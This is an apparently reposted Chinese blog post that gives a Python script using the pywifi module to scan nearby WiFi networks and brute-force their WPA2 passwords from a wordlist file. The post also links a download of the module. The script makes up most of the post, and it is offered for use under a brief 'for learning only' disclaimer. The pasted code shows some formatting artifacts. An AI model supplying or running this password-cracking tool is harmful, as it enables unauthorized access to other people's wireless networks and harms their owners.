最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5
既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。
有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。
链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg
本地安装方法:
1)下载解压好以后,我们用cmd命令行,进入到你的文件目录
2)使用命令pip install . 注意了(install后面有个点)
3)然后就会安装了,等一会就可以了。
程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
import pywifi from pywifi import const #引用一些定义 import time namelist = [] ssidlist = [] result = [] #存放查询到的WIFI,密码 wificount = 5 #查询附近信号最强的5个WIFI,最多5个 def getwifi(): wifi = pywifi.PyWiFi() #抓取网卡接口 ifaces = wifi.interfaces()[ 0 ] #获取网卡 ifaces.scan() time.sleep( 8 ) bessis = ifaces.scan_results() list = [] for data in bessis: if (data.ssid not in namelist): #去掉重复的WIFI名称 namelist.append(data.ssid) list .append((data.ssid, data.signal)) sorted ( list , key = lambda st: st[ 1 ], reverse = True ) time.sleep( 1 ) n = 0 if len ( list ) is not 0 : for item in list : if (item[ 0 ] not in ssidlist): n = n + 1 if n< = wificount: ssidlist.append(item[ 0 ]) print (ssidlist) def testwifi(ssidname,password): wifi = pywifi.PyWiFi() #抓取网卡接口 ifaces = wifi.interfaces()[ 0 ] #获取网卡 ifaces.disconnect() #断开无限网卡连接 profile = pywifi.Profile() #创建wifi连接文件 profile.ssid = ssidname #定义wifissid profile.auth = const.AUTH_ALG_OPEN #网卡的开放 profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP ##加密单元 ifaces.remove_all_network_profiles() #删除其他所有配置文件 tmp_profile = ifaces.add_network_profile(profile) #加载配置文件 ifaces.connect(tmp_profile) #连接wifi time.sleep( 5 ) #5秒内能否连接上 if ifaces.status() = = const.IFACE_CONNECTED: return True else : #print("[-]WiFi connection failure!") return False #ifaces.disconnect()#断开连接 #time.sleep(1) return True def main(): getwifi() #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。 if ( len (ssidlist) is not 0 ): path = r "password.txt" files = open (path, 'r' ) while True : if ( len (ssidlist) is 0 ): break try : password = files.readline() password = password.strip( '\n' ) if not password: break for item in result: #把已经找到密码的WIFI从查询中删除。 ssidlist.remove(item[ 0 ]) for ssidname in ssidlist: if (testwifi(ssidname,password) = = True ): result.append((ssidname,password)) #把找到的WIFI密码保存起来 print ( 'Succ' , 'Current WifiName:' ,ssidname, 'Current Password:' ,password) else : print ( 'Fail' , 'Current WifiName:' ,ssidname, 'Current Password:' ,password) except : continue files.close() print ( "\n" , "WIFI结果列表:" ) for item in result: #把已经找到密码的WIFI从查询中删除。 print ("") print ( "无线:" ,item[ 0 ]) print ( "密码:" ,item[ 1 ]) else : print ( "没有找到WIFI信号,请重试。" ) if __name__ = = '__main__' : main() |
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对服务器之家的支持。如果你想了解更多相关内容请查看下面相关链接
原文链接:https://blog.csdn.net/wujinmei/article/details/81288212